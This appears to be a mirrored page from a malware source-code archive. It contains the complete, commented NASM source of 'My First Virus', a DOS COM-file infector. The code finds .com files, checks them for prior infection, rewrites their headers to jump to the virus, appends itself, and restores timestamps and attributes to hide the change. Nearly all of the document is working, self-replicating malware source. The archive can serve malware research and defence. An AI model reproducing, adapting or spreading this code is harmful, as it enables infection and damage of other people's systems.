mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
188 lines
8.3 KiB
NASM
188 lines
8.3 KiB
NASM
;******************************************************************
|
|
;* *
|
|
;* My First Virus, a simple non-overwriting COM infector *
|
|
;* *
|
|
;* by, Solomon *
|
|
;* *
|
|
;******************************************************************
|
|
|
|
.model tiny ; Memory model
|
|
.code ; Start Code
|
|
org 100h ; Start of COM file
|
|
|
|
MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
|
|
|
|
START_VIRUS proc near ; Real start of Virus
|
|
call FIND_OFFSET
|
|
|
|
; Calculate change in offset from host program.
|
|
|
|
FIND_OFFSET: pop bp ; BP holds current IP
|
|
sub bp, offset FIND_OFFSET ; Calculate net change
|
|
; Change BP to start of
|
|
; virus code
|
|
|
|
; Restore original bytes to the infected program.
|
|
|
|
lea si,[bp+ORIG_START] ; Restore original 3 bytes
|
|
mov di,100h ; to 100h, start of file
|
|
push di ; Copy 3 bytes
|
|
movsw
|
|
movsb
|
|
|
|
; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
|
|
; original command line parameters.
|
|
|
|
lea dx,[bp+NEW_DTA] ; Point to new DTA area
|
|
call SET_DTA ; Go change it
|
|
|
|
; DOS Findfirst / Findnext services
|
|
|
|
|
|
FINDFIRST: mov ah,4eh ; DOS find first service
|
|
lea dx,[bp+COM_MASK] ; Search for any COM file
|
|
xor cx,cx ; Attribute mask
|
|
FINDNEXT: int 21h ; Call DOS to do it
|
|
jc QUIT ; Quit if there are errors
|
|
; or no more files
|
|
|
|
; Ok, if I am here, then I found a possible victim. Open the file and
|
|
; check it for previous infections.
|
|
|
|
mov ax,3d00h ; DOS Open file, read only
|
|
lea dx,[bp+NEW_DTA+30] ; Point to filename we found
|
|
int 21h ; Call DOS to do it
|
|
xchg ax,bx ; Put file handle in BX
|
|
|
|
; Check file for previous infection by checking for our presence at
|
|
; then end of the file.
|
|
|
|
mov ah,3fh ; DOS Read file
|
|
lea dx,[bp+ORIG_START] ; Save the original header
|
|
mov cx,3 ; Read 3 bytes
|
|
int 21h ; Call DOS to do it
|
|
mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX
|
|
mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset
|
|
add cx,END_VIRUS-START_VIRUS+3; Convert to filesize
|
|
cmp ax,cx ; Compare file size's
|
|
jnz INFECT_COM ; If healthy, go infect it
|
|
mov ah,3eh ; Otherwise close file and
|
|
int 21h ; try to find another victim
|
|
mov ah,4fh ; DOS find next file
|
|
jmp short FINDNEXT ; Find another file
|
|
|
|
; Restore default DTA and pass control back to original program.
|
|
; Call any activation routines here.
|
|
|
|
QUIT: mov dx,80h ; Restore original DTA
|
|
call SET_DTA ; Go change it
|
|
retn ; End Virus and start original
|
|
; Program. Remember, DI holding
|
|
; 100h was pushed on the stack.
|
|
|
|
;*** Subroutine INFECT_COM ***
|
|
|
|
INFECT_COM:
|
|
|
|
; Reset the file attributes to normal so I can write to the file
|
|
|
|
mov ax,4301h ; DOS change file attr
|
|
xor cx,cx ; Zero attributes
|
|
lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA
|
|
int 21h ; Call DOS to do it
|
|
|
|
; Calculate jump offset for header of victim so it will run virus first.
|
|
|
|
mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX
|
|
sub ax,3 ; Subtract 3, size-jmp_code
|
|
mov word ptr [bp+JMP_OFFSET],ax ; Store new offset
|
|
|
|
; Close the file and reopen it for read/write. BX still holds file handle.
|
|
|
|
mov ah,3eh ; DOS close file
|
|
int 21h ; Call DOS to do it
|
|
mov ax,3d02h ; DOS open file, read/write
|
|
int 21h ; Call DOS to do it
|
|
xchg ax,bx ; Put file handle in BX
|
|
|
|
; Write the new header at the beginning of the file.
|
|
|
|
mov ah,40h ; DOS write to file
|
|
mov cx,3 ; Write 3 bytes
|
|
lea dx,[bp+HEADER] ; Point to the 3 bytes to write
|
|
int 21h ; Call DOS to do it
|
|
|
|
; Move to end of file so I can append the virus to it.
|
|
|
|
mov al,2 ; Select end of file
|
|
call FILE_PTR ; Go to end of file
|
|
|
|
; Append the virus to the end of the file.
|
|
|
|
mov ah,40h ; DOS write to file
|
|
mov cx,END_VIRUS-START_VIRUS ; Length of virus
|
|
lea dx,[bp+START_VIRUS] ; Start from beginning of virus
|
|
int 21h ; Call DOS to do it
|
|
|
|
; Restore the file's original timestamp and datestamp. These values were
|
|
; stored in the DTA by the Findfirst / Findnext services.
|
|
|
|
mov ax,5701h ; DOS set file date & time
|
|
mov cx,word ptr [bp+NEW_DTA+22] ; Set time
|
|
mov dx,word ptr [bp+NEW_DTA+24] ; Set date
|
|
int 21h ; Call DOS to do it
|
|
|
|
; Restore original file attributes.
|
|
|
|
mov ax,4301h ; DOS change file attr
|
|
mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr
|
|
lea dx,[bp+NEW_DTA+30] ; Point to file name
|
|
int 21h ; Call DOS
|
|
|
|
; Lastly, close the file and go back to main program.
|
|
|
|
mov ah,3eh ; DOS close file
|
|
int 21h ; Call DOS to do it
|
|
jmp QUIT ; We're done
|
|
|
|
;*** Subroutine SET_DTA ***
|
|
|
|
SET_DTA proc near
|
|
mov ah,1ah ; DOS set DTA
|
|
int 21h ; Call DOS to do it
|
|
retn ; Return
|
|
SET_DTA endp
|
|
|
|
|
|
;*** Subroutine FILE_PTR ***
|
|
|
|
|
|
FILE_PTR proc near
|
|
mov ah,42h ; DOS set read/write pointer
|
|
xor cx,cx ; Set offset move to zero
|
|
cwd ; Equivalent to xor dx,dx
|
|
int 21h ; Call DOS to do it
|
|
retn ; Return
|
|
FILE_PTR endp
|
|
|
|
|
|
|
|
; This area will hold all variables to be encrypted
|
|
|
|
COM_MASK db '*.com',0 ; COM file mask
|
|
|
|
ORIG_START db 0cdh,20h,0 ; Header for infected file
|
|
|
|
HEADER db 0e9h ; Jmp command for new header
|
|
|
|
START_VIRUS endp
|
|
|
|
END_VIRUS equ $ ; Mark end of virus code
|
|
|
|
; This data area is a scratch area and is not included in virus code.
|
|
|
|
JMP_OFFSET dw ? ; Jump offset for new header
|
|
NEW_DTA db 43 dup(?) ; New DTA location
|
|
|
|
end MAIN
|